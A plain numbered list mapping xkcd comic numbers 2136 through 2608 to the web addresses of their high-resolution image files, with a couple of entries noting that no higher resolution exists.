2136: https://imgs.xkcd.com/comics/election_commentary_2x.png
2137: https://imgs.xkcd.com/comics/text_entry_2x.png
2138: https://imgs.xkcd.com/comics/wanna_see_the_code_2x.png
2139: https://imgs.xkcd.com/comics/email_settings_2x.png
2140: https://imgs.xkcd.com/comics/reinvent_the_wheel_2x.png
2141: https://imgs.xkcd.com/comics/ui_vs_ux_2x.png
2142: https://imgs.xkcd.com/comics/dangerous_fields_2x.png
2143: https://imgs.xkcd.com/comics/disk_usage_2x.png
2144: https://imgs.xkcd.com/comics/adjusting_a_chair_2x.png
2145: https://imgs.xkcd.com/comics/heists_and_escapes_2x.png
2146: https://imgs.xkcd.com/comics/waiting_for_the_but_2x.png
2147: https://imgs.xkcd.com/comics/appendicitis_2x.png
2148: https://imgs.xkcd.com/comics/cubesat_launch_2x.png
2149: https://imgs.xkcd.com/comics/alternate_histories_2x.png
2150: https://imgs.xkcd.com/comics/xkeyboarcd_2x.png
2151: https://imgs.xkcd.com/comics/a_b_2x.png
2152: https://imgs.xkcd.com/comics/westerns_2x.png
2153: https://imgs.xkcd.com/comics/effects_of_high_altitude_2x.png
2154: https://imgs.xkcd.com/comics/motivation_2x.png
2155: https://imgs.xkcd.com/comics/swimming_2x.png
2156: https://imgs.xkcd.com/comics/ufo_2x.png
2157: https://imgs.xkcd.com/comics/diploma_legal_notes_2x.png
2158: https://imgs.xkcd.com/comics/qualifiers_2x.png
2159: https://imgs.xkcd.com/comics/comments_2x.png
2160: https://imgs.xkcd.com/comics/ken_burns_theory_2x.png
2161: https://imgs.xkcd.com/comics/an_apple_a_day_2x.png
2162: https://imgs.xkcd.com/comics/literary_opinions_2x.png
2163: https://imgs.xkcd.com/comics/chernobyl_2x.png
2164: https://imgs.xkcd.com/comics/glacier_2x.png
2165: https://imgs.xkcd.com/comics/millennials_2x.png
2166: https://imgs.xkcd.com/comics/stack_2x.png
2167: https://imgs.xkcd.com/comics/motivated_reasoning_olympics_2x.png
2168: https://imgs.xkcd.com/comics/reading_in_the_original_2x.png
2169: https://imgs.xkcd.com/comics/predictive_models_2x.png
2170: https://imgs.xkcd.com/comics/coordinate_precision_2x.png
2171: https://imgs.xkcd.com/comics/shadow_biosphere_2x.png
2172: https://imgs.xkcd.com/comics/lunar_cycles_2x.png
2173: https://imgs.xkcd.com/comics/trained_a_neural_net_2x.png
2174: https://imgs.xkcd.com/comics/first_news_memory_2x.png
2175: https://imgs.xkcd.com/comics/flag_interpretation_2x.png
2176: https://imgs.xkcd.com/comics/how_hacking_works_2x.png
2177: https://imgs.xkcd.com/comics/gastroenterology_2x.png
2178: https://imgs.xkcd.com/comics/expiration_date_high_score_2x.png
2179: https://imgs.xkcd.com/comics/nws_warnings_2x.png
2180: https://imgs.xkcd.com/comics/spreadsheets_2x.png
2181: https://imgs.xkcd.com/comics/inbox_2x.png
2182: https://imgs.xkcd.com/comics/when_im_back_at_a_keyboard_2x.png
2183: https://imgs.xkcd.com/comics/icon_swap_2x.png
2184: https://imgs.xkcd.com/comics/unpopular_opinions_2x.png
2185: https://imgs.xkcd.com/comics/cumulonimbus_2x.png
2186: https://imgs.xkcd.com/comics/dark_matter_2x.png
2187: https://imgs.xkcd.com/comics/geologic_time_2x.png
2188: https://imgs.xkcd.com/comics/e_scooters_2x.png
2189: https://imgs.xkcd.com/comics/old_game_worlds_2x.png
2190: https://imgs.xkcd.com/comics/serena_versus_the_drones_2x.png
2191: https://imgs.xkcd.com/comics/conference_question_2x.png
2192: https://imgs.xkcd.com/comics/review_2x.png
2193: https://imgs.xkcd.com/comics/well_ordering_principle_2x.png
2194: https://imgs.xkcd.com/comics/how_to_send_a_file_2x.png
2195: https://imgs.xkcd.com/comics/dockless_roombas_2x.png
2196: https://imgs.xkcd.com/comics/nice_to_e_meet_you_2x.png
2197: https://imgs.xkcd.com/comics/game_show_2x.png
2198: https://imgs.xkcd.com/comics/throw_2x.png
2199: https://imgs.xkcd.com/comics/cryptic_wifi_networks_2x.png
2200: https://imgs.xkcd.com/comics/unreachable_state_2x.png
2201: https://imgs.xkcd.com/comics/foucault_pendulum_2x.png
2202: No higher res available
2203: https://imgs.xkcd.com/comics/prescience_2x.png
2204: https://imgs.xkcd.com/comics/ksp_2_2x.png
2205: https://imgs.xkcd.com/comics/types_of_approximation_2x.png
2206: https://imgs.xkcd.com/comics/mavis_beacon_2x.png
2207: https://imgs.xkcd.com/comics/math_work_2x.png
2208: https://imgs.xkcd.com/comics/drone_fishing_2x.png
2209: https://imgs.xkcd.com/comics/fresh_pears_2x.png
2210: https://imgs.xkcd.com/comics/college_athletes_2x.png
2211: https://imgs.xkcd.com/comics/hours_before_departure_2x.png
2212: https://imgs.xkcd.com/comics/cell_phone_functions_2x.png
2213: https://imgs.xkcd.com/comics/how_old_2x.png
2214: https://imgs.xkcd.com/comics/chemistry_nobel_2x.png
2215: https://imgs.xkcd.com/comics/faculty_student_ratio_2x.png
2216: https://imgs.xkcd.com/comics/percent_milkfat_2x.png
2217: https://imgs.xkcd.com/comics/53_cards_2x.png
2218: https://imgs.xkcd.com/comics/wardrobe_2x.png
2219: https://imgs.xkcd.com/comics/earthquake_early_warnings_2x.png
2220: https://imgs.xkcd.com/comics/imagine_going_back_in_time_2x.png
2221: https://imgs.xkcd.com/comics/emulation_2x.png
2222: https://imgs.xkcd.com/comics/terminator_dark_fate_2x.png
2223: https://imgs.xkcd.com/comics/screen_time_2x.png
2224: https://imgs.xkcd.com/comics/software_updates_2x.png
2225: https://imgs.xkcd.com/comics/voting_referendum_2x.png
2226: https://imgs.xkcd.com/comics/recombination_and_reionization_2x.png
2227: https://imgs.xkcd.com/comics/transit_of_mercury_2x.png
2228: https://imgs.xkcd.com/comics/machine_learning_captcha_2x.png
2229: https://imgs.xkcd.com/comics/rey_and_kylo_2x.png
2230: https://imgs.xkcd.com/comics/versus_bracket_2x.png
2231: https://imgs.xkcd.com/comics/the_time_before_and_after_land_2x.png
2232: https://imgs.xkcd.com/comics/hotel_room_party_2x.png
2233: https://imgs.xkcd.com/comics/aurora_meaning_2x.png
2234: https://imgs.xkcd.com/comics/how_to_deliver_christmas_presents_2x.png
2235: https://imgs.xkcd.com/comics/group_chat_rules_2x.png
2236: https://imgs.xkcd.com/comics/is_it_christmas_2x.png
2237: https://imgs.xkcd.com/comics/ai_hiring_algorithm_2x.png
2238: https://imgs.xkcd.com/comics/flu_shot_2x.png
2239: https://imgs.xkcd.com/comics/data_error_2x.png
2240: https://imgs.xkcd.com/comics/timeline_of_the_universe_2x.png
2241: https://imgs.xkcd.com/comics/brussels_sprouts_mandela_effect_2x.png
2242: https://imgs.xkcd.com/comics/ground_vs_air_2x.png
2243: https://imgs.xkcd.com/comics/star_wars_spoiler_generator_2x.png
2244: https://imgs.xkcd.com/comics/thumbtacks_and_string_2x.png
2245: https://imgs.xkcd.com/comics/edible_arrangements_2x.png
2246: https://imgs.xkcd.com/comics/christmas_presents_2x.png
2247: https://imgs.xkcd.com/comics/weird_hill_2x.png
2248: https://imgs.xkcd.com/comics/new_years_eve_2x.png
2249: https://imgs.xkcd.com/comics/i_love_the_20s_2x.png
2250: https://imgs.xkcd.com/comics/ok_okay_ok_2x.png
2251: https://imgs.xkcd.com/comics/alignment_chart_alignment_chart_2x.png
2252: https://imgs.xkcd.com/comics/parenthetical_names_2x.png
2253: https://imgs.xkcd.com/comics/star_wars_voyager_1_2x.png
2254: https://imgs.xkcd.com/comics/jpeg2000_2x.png
2255: https://imgs.xkcd.com/comics/tattoo_ideas_2x.png
2256: https://imgs.xkcd.com/comics/bad_map_projection_south_america_2x.png
2257: https://imgs.xkcd.com/comics/unsubscribe_message_2x.png
2258: https://imgs.xkcd.com/comics/solar_system_changes_2x.png
2259: https://imgs.xkcd.com/comics/networking_problems_2x.png
2260: https://imgs.xkcd.com/comics/reaction_maps_2x.png
2261: https://imgs.xkcd.com/comics/worst_thing_that_could_happen_2x.png
2262: https://imgs.xkcd.com/comics/parker_solar_probe_2x.png
2263: https://imgs.xkcd.com/comics/cicadas_2x.png
2264: https://imgs.xkcd.com/comics/satellite_2x.png
2265: https://imgs.xkcd.com/comics/tax_ai_2x.png
2266: https://imgs.xkcd.com/comics/leap_smearing_2x.png
2267: https://imgs.xkcd.com/comics/blockchain_2x.png
2268: https://imgs.xkcd.com/comics/further_research_is_needed_2x.png
2269: https://imgs.xkcd.com/comics/phylogenetic_tree_2x.png
2270: https://imgs.xkcd.com/comics/picking_bad_stocks_2x.png
2271: https://imgs.xkcd.com/comics/grandpa_jason_and_grandpa_chad_2x.png
2272: https://imgs.xkcd.com/comics/ringtone_timeline_2x.png
2273: https://imgs.xkcd.com/comics/truck_proximity_2x.png
2274: https://imgs.xkcd.com/comics/stargazing_3_2x.png
2275: https://imgs.xkcd.com/comics/coronavirus_name_2x.png
2276: https://imgs.xkcd.com/comics/self_isolate_2x.png
2277: https://imgs.xkcd.com/comics/business_greetings_2x.png
2278: https://imgs.xkcd.com/comics/scientific_briefing_2x.png
2279: https://imgs.xkcd.com/comics/symptoms_2x.png
2280: https://imgs.xkcd.com/comics/2010_and_2020_2x.png
2281: No higher res available
2282: https://imgs.xkcd.com/comics/coronavirus_worries_2x.png
2283: https://imgs.xkcd.com/comics/exa_exabyte_2x.png
2284: https://imgs.xkcd.com/comics/sabotage_2x.png
2285: https://imgs.xkcd.com/comics/recurring_nightmare_2x.png
2286: https://imgs.xkcd.com/comics/6_foot_zone_2x.png
2287: https://imgs.xkcd.com/comics/pathogen_resistance_2x.png
2288: https://imgs.xkcd.com/comics/collectors_edition_2x.png
2289: https://imgs.xkcd.com/comics/scenario_4_2x.png
2290: https://imgs.xkcd.com/comics/homemade_masks_2x.png
2291: https://imgs.xkcd.com/comics/new_sports_system_2x.png
2292: https://imgs.xkcd.com/comics/thermometer_2x.png
2293: https://imgs.xkcd.com/comics/rip_john_conway_2x.gif
2294: https://imgs.xkcd.com/comics/coronavirus_charts_2x.png
2295: https://imgs.xkcd.com/comics/garbage_math_2x.png
2296: https://imgs.xkcd.com/comics/sourdough_starter_2x.png
2297: https://imgs.xkcd.com/comics/use_or_discard_by_2x.png
2298: https://imgs.xkcd.com/comics/coronavirus_genome_2x.png
2299: https://imgs.xkcd.com/comics/coronavirus_genome_2_2x.png
2300: https://imgs.xkcd.com/comics/everyones_an_epidemiologist_2x.png
2301: https://imgs.xkcd.com/comics/turtle_sandwich_standard_model_2x.png
2302: https://imgs.xkcd.com/comics/2020_google_trends_2x.png
2303: https://imgs.xkcd.com/comics/error_types_2x.png
2304: https://imgs.xkcd.com/comics/preprint_2x.png
2305: https://imgs.xkcd.com/comics/coronavirus_polling_2x.png
2306: https://imgs.xkcd.com/comics/common_cold_2x.png
2307: https://imgs.xkcd.com/comics/alive_or_not_2x.png
2308: https://imgs.xkcd.com/comics/mount_st_helens_2x.png
2309: https://imgs.xkcd.com/comics/x_2x.png
2310: https://imgs.xkcd.com/comics/great_attractor_2x.png
2311: https://imgs.xkcd.com/comics/confidence_interval_2x.png
2312: https://imgs.xkcd.com/comics/mbmbam_2x.png
2313: https://imgs.xkcd.com/comics/wrong_times_table_2x.png
2314: https://imgs.xkcd.com/comics/carcinization_2x.png
2315: https://imgs.xkcd.com/comics/eventual_consistency_2x.png
2316: https://imgs.xkcd.com/comics/hair_growth_rate_2x.png
2317: https://imgs.xkcd.com/comics/pinouts_2x.png
2318: https://imgs.xkcd.com/comics/dynamic_entropy_2x.png
2319: https://imgs.xkcd.com/comics/large_number_formats_2x.png
2320: https://imgs.xkcd.com/comics/millennium_problems_2x.png
2321: https://imgs.xkcd.com/comics/low_background_metal_2x.png
2322: https://imgs.xkcd.com/comics/iso_paper_size_golden_spiral_2x.png
2323: https://imgs.xkcd.com/comics/modeling_study_2x.png
2324: https://imgs.xkcd.com/comics/old_days_2_2x.png
2325: https://imgs.xkcd.com/comics/endorheic_basin_2x.png
2326: https://imgs.xkcd.com/comics/five_word_jargon_2x.png
2327: https://imgs.xkcd.com/comics/oily_house_index_2x.png
2328: https://imgs.xkcd.com/comics/space_basketball_2x.png
2329: https://imgs.xkcd.com/comics/universal_rating_scale_2x.png
2330: https://imgs.xkcd.com/comics/acceptable_risk_2x.png
2331: https://imgs.xkcd.com/comics/hamster_ball_2_2x.png
2332: https://imgs.xkcd.com/comics/cursed_chair_2x.png
2333: https://imgs.xkcd.com/comics/covid_risk_chart_2x.png
2334: https://imgs.xkcd.com/comics/slide_trombone_2x.png
2335: https://imgs.xkcd.com/comics/photo_deposit_2x.png
2336: https://imgs.xkcd.com/comics/campfire_habitable_zone_2x.png
2337: https://imgs.xkcd.com/comics/asterisk_corrections_2x.png
2338: https://imgs.xkcd.com/comics/faraday_tour_2x.png
2339: https://imgs.xkcd.com/comics/pods_vs_bubbles_2x.png
2340: https://imgs.xkcd.com/comics/cosmologist_genres_2x.png
2341: https://imgs.xkcd.com/comics/scientist_tech_help_2x.png
2342: https://imgs.xkcd.com/comics/exposure_notification_2x.png
2343: https://imgs.xkcd.com/comics/mathematical_symbol_fight_2x.png
2344: https://imgs.xkcd.com/comics/26_second_pulse_2x.png
2345: https://imgs.xkcd.com/comics/wish_on_a_shooting_star_2x.png
2346: https://imgs.xkcd.com/comics/covid_risk_comfort_zone_2x.png
2347: https://imgs.xkcd.com/comics/dependency_2x.png
2348: https://imgs.xkcd.com/comics/boat_puzzle_2x.png
2349: https://imgs.xkcd.com/comics/rabbit_introduction_2x.png
2350: https://imgs.xkcd.com/comics/deer_turrets_2x.png
2351: https://imgs.xkcd.com/comics/standard_model_changes_2x.png
2352: https://imgs.xkcd.com/comics/synonym_date_2x.png
2353: https://imgs.xkcd.com/comics/hurricane_hunters_2x.png
2354: https://imgs.xkcd.com/comics/stellar_evolution_2x.png
2355: https://imgs.xkcd.com/comics/university_covid_model_2x.png
2356: https://imgs.xkcd.com/comics/constellation_monstrosity_2x.png
2357: https://imgs.xkcd.com/comics/polls_vs_the_street_2x.png
2358: https://imgs.xkcd.com/comics/gravitational_wave_pulsars_2x.png
2359: https://imgs.xkcd.com/comics/evidence_of_alien_life_2x.png
2360: https://imgs.xkcd.com/comics/common_star_types_2x.png
2361: https://imgs.xkcd.com/comics/voting_2x.png
2362: https://imgs.xkcd.com/comics/volcano_dinosaur_2x.png
2363: https://imgs.xkcd.com/comics/message_boards_2x.png
2364: https://imgs.xkcd.com/comics/parity_conservation_2x.png
2365: https://imgs.xkcd.com/comics/messaging_systems_2x.png
2366: https://imgs.xkcd.com/comics/amelias_farm_fresh_cookies_2x.png
2367: https://imgs.xkcd.com/comics/masks_2x.png
2368: https://imgs.xkcd.com/comics/bigger_problem_2x.png
2369: https://imgs.xkcd.com/comics/all_in_one_2x.png
2370: https://imgs.xkcd.com/comics/prediction_2x.png
2371: https://imgs.xkcd.com/comics/election_screen_time_2x.png
2372: https://imgs.xkcd.com/comics/dialect_quiz_2x.png
2373: https://imgs.xkcd.com/comics/chemist_eggs_2x.png
2374: https://imgs.xkcd.com/comics/10000_hours_2x.png
2375: https://imgs.xkcd.com/comics/worst_ladder_2x.png
2376: https://imgs.xkcd.com/comics/curbside_2x.png
2377: https://imgs.xkcd.com/comics/xkcd_phone_12_2x.png
2378: https://imgs.xkcd.com/comics/fall_back_2x.png
2379: https://imgs.xkcd.com/comics/probability_comparisons_2x.png
2380: https://imgs.xkcd.com/comics/election_impact_score_sheet_2x.png
2381: https://imgs.xkcd.com/comics/the_true_name_of_the_bear_2x.png
2382: https://imgs.xkcd.com/comics/ballot_tracker_tracker_2x.png
2383: https://imgs.xkcd.com/comics/electoral_precedent_2020_2x.png
2384: https://imgs.xkcd.com/comics/set_in_the_present_2x.png
2385: https://imgs.xkcd.com/comics/final_exam_2x.png
2386: https://imgs.xkcd.com/comics/ten_years_2x.png
2387: https://imgs.xkcd.com/comics/blair_witch_2x.png
2388: https://imgs.xkcd.com/comics/viral_quiz_identity_theft_2x.png
2389: https://imgs.xkcd.com/comics/unread_2x.png
2390: https://imgs.xkcd.com/comics/linguists_2x.png
2391: https://imgs.xkcd.com/comics/life_before_the_pandemic_2x.png
2392: https://imgs.xkcd.com/comics/cyber_cafe_2x.png
2393: https://imgs.xkcd.com/comics/presidential_middle_names_2x.png
2394: https://imgs.xkcd.com/comics/contiguous_41_states_2x.png
2395: https://imgs.xkcd.com/comics/covid_precaution_level_2x.png
2396: https://imgs.xkcd.com/comics/wonder_woman_1984_2x.png
2397: https://imgs.xkcd.com/comics/i_just_dont_trust_them_2x.png
2398: https://imgs.xkcd.com/comics/vaccine_tracker_2x.png
2399: https://imgs.xkcd.com/comics/2020_election_map_2x.png
2400: https://imgs.xkcd.com/comics/statistics_2x.png
2401: https://imgs.xkcd.com/comics/conjunction_2x.png
2402: https://imgs.xkcd.com/comics/into_my_veins_2x.png
2403: https://imgs.xkcd.com/comics/wrapping_paper_2x.png
2404: https://imgs.xkcd.com/comics/first_thing_2x.png
2405: https://imgs.xkcd.com/comics/flash_gatsby_2x.png
2406: https://imgs.xkcd.com/comics/viral_vector_immunity_2x.png
2407: https://imgs.xkcd.com/comics/depth_and_breadth_2x.png
2408: https://imgs.xkcd.com/comics/egg_strategies_2x.png
2409: https://imgs.xkcd.com/comics/steepen_the_curve_2x.png
2410: https://imgs.xkcd.com/comics/apple_growers_2x.png
2411: https://imgs.xkcd.com/comics/1_10000th_scale_world_2x.png
2412: https://imgs.xkcd.com/comics/1_100000th_scale_world_2x.png
2413: https://imgs.xkcd.com/comics/pulsar_analogy_2x.png
2414: https://imgs.xkcd.com/comics/solar_system_compression_artifacts_2x.png
2415: https://imgs.xkcd.com/comics/allow_captcha_2x.png
2416: https://imgs.xkcd.com/comics/trash_compactor_party_2x.png
2417: https://imgs.xkcd.com/comics/1_1000th_scale_world_2x.png
2418: https://imgs.xkcd.com/comics/metacarcinization_2x.png
2419: https://imgs.xkcd.com/comics/hug_count_2x.png
2420: https://imgs.xkcd.com/comics/appliances_2x.png
2421: https://imgs.xkcd.com/comics/tower_of_babel_2x.png
2422: https://imgs.xkcd.com/comics/vaccine_ordering_2x.png
2423: https://imgs.xkcd.com/comics/project_orion_2x.png
2424: https://imgs.xkcd.com/comics/normal_conversation_2x.png
2425: https://imgs.xkcd.com/comics/mrna_vaccine_2x.png
2426: https://imgs.xkcd.com/comics/animal_songs_2x.png
2427: https://imgs.xkcd.com/comics/perseverance_microphones_2x.png
2428: https://imgs.xkcd.com/comics/mars_landing_video_2x.png
2429: https://imgs.xkcd.com/comics/exposure_models_2x.png
2430: https://imgs.xkcd.com/comics/post_pandemic_hat_2x.png
2431: https://imgs.xkcd.com/comics/leap_year_2021_2x.png
2432: https://imgs.xkcd.com/comics/manage_your_preferences_2x.png
2433: https://imgs.xkcd.com/comics/mars_rovers_2x.png
2434: https://imgs.xkcd.com/comics/vaccine_guidance_2x.png
2435: https://imgs.xkcd.com/comics/geothmetic_meandian_2x.png
2436: https://imgs.xkcd.com/comics/circles_2x.png
2437: https://imgs.xkcd.com/comics/post_vaccine_party_2x.png
2438: https://imgs.xkcd.com/comics/siri_2x.png
2439: https://imgs.xkcd.com/comics/solar_system_cartogram_2x.png
2440: https://imgs.xkcd.com/comics/epistemic_uncertainty_2x.png
2441: https://imgs.xkcd.com/comics/imdb_vaccines_2x.png
2442: https://imgs.xkcd.com/comics/mask_opinions_2x.png
2443: https://imgs.xkcd.com/comics/immune_response_2x.png
2444: https://imgs.xkcd.com/comics/ingenuity_2x.png
2445: https://imgs.xkcd.com/comics/checkbox_2x.gif
2446: https://imgs.xkcd.com/comics/spike_proteins_2x.png
2447: https://imgs.xkcd.com/comics/hammer_incident_2x.png
2448: https://imgs.xkcd.com/comics/eradication_2x.png
2449: https://imgs.xkcd.com/comics/iss_vaccine_2x.png
2450: https://imgs.xkcd.com/comics/post_vaccine_social_scheduling_2x.png
2451: https://imgs.xkcd.com/comics/ai_methodology_2x.png
2452: https://imgs.xkcd.com/comics/aviation_firsts_2x.png
2453: https://imgs.xkcd.com/comics/excel_lambda_2x.png
2454: https://imgs.xkcd.com/comics/fully_vaccinated_2x.png
2455: https://imgs.xkcd.com/comics/virus_consulting_2x.png
2456: https://imgs.xkcd.com/comics/types_of_scientific_paper_2x.png
2457: https://imgs.xkcd.com/comics/after_the_pandemic_2x.png
2458: https://imgs.xkcd.com/comics/bubble_wrap_2x.png
2459: https://imgs.xkcd.com/comics/march_2020_2x.png
2460: https://imgs.xkcd.com/comics/vaccinated_2x.png
2461: https://imgs.xkcd.com/comics/90s_kid_space_program_2x.png
2462: https://imgs.xkcd.com/comics/nasa_award_2x.png
2463: https://imgs.xkcd.com/comics/astrophotography_2x.png
2464: https://imgs.xkcd.com/comics/mullers_ratchet_2x.png
2465: https://imgs.xkcd.com/comics/dimensional_chess_2x.png
2466: https://imgs.xkcd.com/comics/in_your_classroom_2x.png
2467: https://imgs.xkcd.com/comics/wikipedia_caltrops_2x.png
2468: https://imgs.xkcd.com/comics/inheritance_2x.png
2469: https://imgs.xkcd.com/comics/astronomy_status_board_2x.png
2470: https://imgs.xkcd.com/comics/next_slide_please_2x.png
2471: https://imgs.xkcd.com/comics/hippo_attacks_2x.png
2472: https://imgs.xkcd.com/comics/fuzzy_blob_2x.png
2473: https://imgs.xkcd.com/comics/product_launch_2x.png
2474: https://imgs.xkcd.com/comics/first_time_since_early_2020_2x.png
2475: https://imgs.xkcd.com/comics/health_drink_2x.png
2476: https://imgs.xkcd.com/comics/base_rate_2x.png
2477: https://imgs.xkcd.com/comics/alien_visitors_2x.png
2478: https://imgs.xkcd.com/comics/alien_visitors_2_2x.png
2479: https://imgs.xkcd.com/comics/houseguests_2x.png
2480: https://imgs.xkcd.com/comics/no_the_other_one_2x.png
2481: https://imgs.xkcd.com/comics/1991_and_2021_2x.png
2482: https://imgs.xkcd.com/comics/indoor_socializing_2x.png
2483: https://imgs.xkcd.com/comics/linked_list_interview_problem_2x.png
2484: https://imgs.xkcd.com/comics/h_alpha_2x.png
2485: https://imgs.xkcd.com/comics/nightmare_code_2x.png
2486: https://imgs.xkcd.com/comics/board_game_party_schedule_2x.png
2487: https://imgs.xkcd.com/comics/danger_mnemonic_2x.png
2488: https://imgs.xkcd.com/comics/board_game_argument_legacy_2x.png
2489: https://imgs.xkcd.com/comics/bad_map_projection_the_greenland_special_2x.png
2490: https://imgs.xkcd.com/comics/pre_pandemic_ketchup_2x.png
2491: https://imgs.xkcd.com/comics/immune_factory_2x.png
2492: https://imgs.xkcd.com/comics/commonly_mispronounced_equations_2x.png
2493: https://imgs.xkcd.com/comics/dual_usb_c_2x.png
2494: https://imgs.xkcd.com/comics/flawed_data_2x.png
2495: https://imgs.xkcd.com/comics/universal_seat_belt_2x.png
2496: https://imgs.xkcd.com/comics/mine_captcha_2x.png
2497: https://imgs.xkcd.com/comics/logic_gates_2x.png
2498: https://imgs.xkcd.com/comics/forest_walk_2x.png
2499: https://imgs.xkcd.com/comics/abandonment_function_2x.png
2500: https://imgs.xkcd.com/comics/global_temperature_over_my_lifetime_2x.png
2501: https://imgs.xkcd.com/comics/average_familiarity_2x.png
2502: https://imgs.xkcd.com/comics/every_data_table_2x.png
2503: https://imgs.xkcd.com/comics/memo_spike_connector_2x.png
2504: https://imgs.xkcd.com/comics/fissile_raspberry_isotopes_2x.png
2505: https://imgs.xkcd.com/comics/news_story_reaction_2x.png
2506: https://imgs.xkcd.com/comics/projecting_2x.png
2507: https://imgs.xkcd.com/comics/usv_c_2x.png
2508: https://imgs.xkcd.com/comics/circumappendiceal_somectomy_2x.png
2509: https://imgs.xkcd.com/comics/useful_geometry_formulas_2x.png
2510: https://imgs.xkcd.com/comics/modern_tools_2x.png
2511: https://imgs.xkcd.com/comics/recreate_the_conditions_2x.png
2512: https://imgs.xkcd.com/comics/revelation_2x.png
2513: https://imgs.xkcd.com/comics/saturn_hexagon_2x.png
2514: https://imgs.xkcd.com/comics/lab_equipment_2x.png
2515: https://imgs.xkcd.com/comics/vaccine_research_2x.png
2516: https://imgs.xkcd.com/comics/hubble_tension_2x.png
2517: https://imgs.xkcd.com/comics/rover_replies_2x.png
2518: https://imgs.xkcd.com/comics/lumpers_and_splitters_2x.png
2519: https://imgs.xkcd.com/comics/sloped_border_2x.png
2520: https://imgs.xkcd.com/comics/symbols_2x.png
2521: https://imgs.xkcd.com/comics/toothpaste_2x.png
2522: https://imgs.xkcd.com/comics/two_factor_security_key_2x.png
2523: https://imgs.xkcd.com/comics/endangered_2x.png
2524: https://imgs.xkcd.com/comics/comet_visitor_2x.png
2525: https://imgs.xkcd.com/comics/air_travel_packing_list_2x.png
2526: https://imgs.xkcd.com/comics/tsp_vs_tbsp_2x.png
2527: https://imgs.xkcd.com/comics/new_nobel_prizes_2x.png
2528: https://imgs.xkcd.com/comics/flag_map_sabotage_2x.png
2529: https://imgs.xkcd.com/comics/unsolved_math_problems_2x.png
2530: https://imgs.xkcd.com/comics/clinical_trials_2x.png
2531: https://imgs.xkcd.com/comics/dark_arts_2x.png
2532: https://imgs.xkcd.com/comics/censored_vaccine_card_2x.png
2533: https://imgs.xkcd.com/comics/slope_hypothesis_testing_2x.png
2534: https://imgs.xkcd.com/comics/retractable_rocket_2x.png
2535: https://imgs.xkcd.com/comics/common_cold_viruses_2x.png
2536: https://imgs.xkcd.com/comics/wirecutter_2x.png
2537: https://imgs.xkcd.com/comics/painbow_award_2x.png
2538: https://imgs.xkcd.com/comics/snack_2x.png
2539: https://imgs.xkcd.com/comics/flinch_2x.png
2540: https://imgs.xkcd.com/comics/ttsltswbd_2x.png
2541: https://imgs.xkcd.com/comics/occam_2x.png
2542: https://imgs.xkcd.com/comics/daylight_calendar_2x.png
2543: https://imgs.xkcd.com/comics/never_told_anyone_2x.png
2544: https://imgs.xkcd.com/comics/heart_stopping_texts_2x.png
2545: https://imgs.xkcd.com/comics/bayes_theorem_2x.png
2546: https://imgs.xkcd.com/comics/fiction_vs_nonfiction_2x.png
2547: https://imgs.xkcd.com/comics/siren_2x.png
2548: https://imgs.xkcd.com/comics/awful_people_2x.png
2549: https://imgs.xkcd.com/comics/edge_cake_2x.png
2550: https://imgs.xkcd.com/comics/webb_2x.png
2551: https://imgs.xkcd.com/comics/debunking_2x.png
2552: https://imgs.xkcd.com/comics/the_last_molecule_2x.png
2553: https://imgs.xkcd.com/comics/incident_report_2x.png
2554: https://imgs.xkcd.com/comics/gift_exchange_2x.png
2555: https://imgs.xkcd.com/comics/notifications_2x.png
2556: https://imgs.xkcd.com/comics/turing_complete_2x.png
2557: https://imgs.xkcd.com/comics/immunity_2x.png
2558: https://imgs.xkcd.com/comics/rapid_test_results_2x.png
2559: https://imgs.xkcd.com/comics/december_25th_launch_2x.png
2560: https://imgs.xkcd.com/comics/confounding_variables_2x.png
2561: https://imgs.xkcd.com/comics/moonfall_2x.png
2562: https://imgs.xkcd.com/comics/formatting_meeting_2x.png
2563: https://imgs.xkcd.com/comics/throat_and_nasal_passages_2x.png
2564: https://imgs.xkcd.com/comics/sunshield_2x.png
2565: https://imgs.xkcd.com/comics/latency_2x.png
2566: https://imgs.xkcd.com/comics/decorative_constants_2x.png
2567: https://imgs.xkcd.com/comics/language_development_2x.png
2568: https://imgs.xkcd.com/comics/spinthariscope_2x.png
2569: https://imgs.xkcd.com/comics/hypothesis_generation_2x.png
2570: https://imgs.xkcd.com/comics/captain_picard_tea_order_2x.png
2571: https://imgs.xkcd.com/comics/hydraulic_analogy_2x.png
2572: https://imgs.xkcd.com/comics/alien_observers_2x.png
2573: https://imgs.xkcd.com/comics/alien_mission_2x.png
2574: https://imgs.xkcd.com/comics/autoresponder_2x.png
2575: https://imgs.xkcd.com/comics/what_if_2_2x.png
2576: https://imgs.xkcd.com/comics/control_group_2x.png
2577: https://imgs.xkcd.com/comics/sea_chase_2x.png
2578: https://imgs.xkcd.com/comics/sword_pull_2x.png
2579: https://imgs.xkcd.com/comics/tractor_beam_2x.png
2580: https://imgs.xkcd.com/comics/rest_and_fluids_2x.png
2581: https://imgs.xkcd.com/comics/health_stats_2x.png
2582: https://imgs.xkcd.com/comics/data_trap_2x.png
2583: https://imgs.xkcd.com/comics/chorded_keyboard_2x.png
2584: https://imgs.xkcd.com/comics/headline_words_2x.png
2585: https://imgs.xkcd.com/comics/rounding_2x.png
2586: https://imgs.xkcd.com/comics/greek_letters_2x.png
2587: https://imgs.xkcd.com/comics/for_the_sake_of_simplicity_2x.png
2588: https://imgs.xkcd.com/comics/party_quadrants_2x.png
2589: https://imgs.xkcd.com/comics/outlet_denier_2x.png
2590: https://imgs.xkcd.com/comics/i_shouldnt_complain_2x.png
2591: https://imgs.xkcd.com/comics/qua_2x.png
2592: https://imgs.xkcd.com/comics/false_dichotomy_2x.png
2593: https://imgs.xkcd.com/comics/deviled_eggs_2x.png
2594: https://imgs.xkcd.com/comics/consensus_time_2x.png
2595: https://imgs.xkcd.com/comics/advanced_techniques_2x.png
2596: https://imgs.xkcd.com/comics/galaxies_2x.png
2597: https://imgs.xkcd.com/comics/salary_negotiation_2x.png
2598: https://imgs.xkcd.com/comics/graphic_designers_2x.png
2599: https://imgs.xkcd.com/comics/spacecraft_debris_odds_ratio_2x.png
2600: https://imgs.xkcd.com/comics/rejected_question_categories_2x.png
2601: https://imgs.xkcd.com/comics/instructions_2x.png
2602: https://imgs.xkcd.com/comics/linguistics_degree_2x.png
2603: https://imgs.xkcd.com/comics/childhood_toys_2x.png
2604: https://imgs.xkcd.com/comics/frankenstein_captcha_2x.png
2605: https://imgs.xkcd.com/comics/taylor_series_2x.png
2606: https://imgs.xkcd.com/comics/weird_unicode_math_symbols_2x.png
2607: https://imgs.xkcd.com/comics/geiger_counter_2x.png
2608: https://imgs.xkcd.com/comics/family_reunion_2x.png
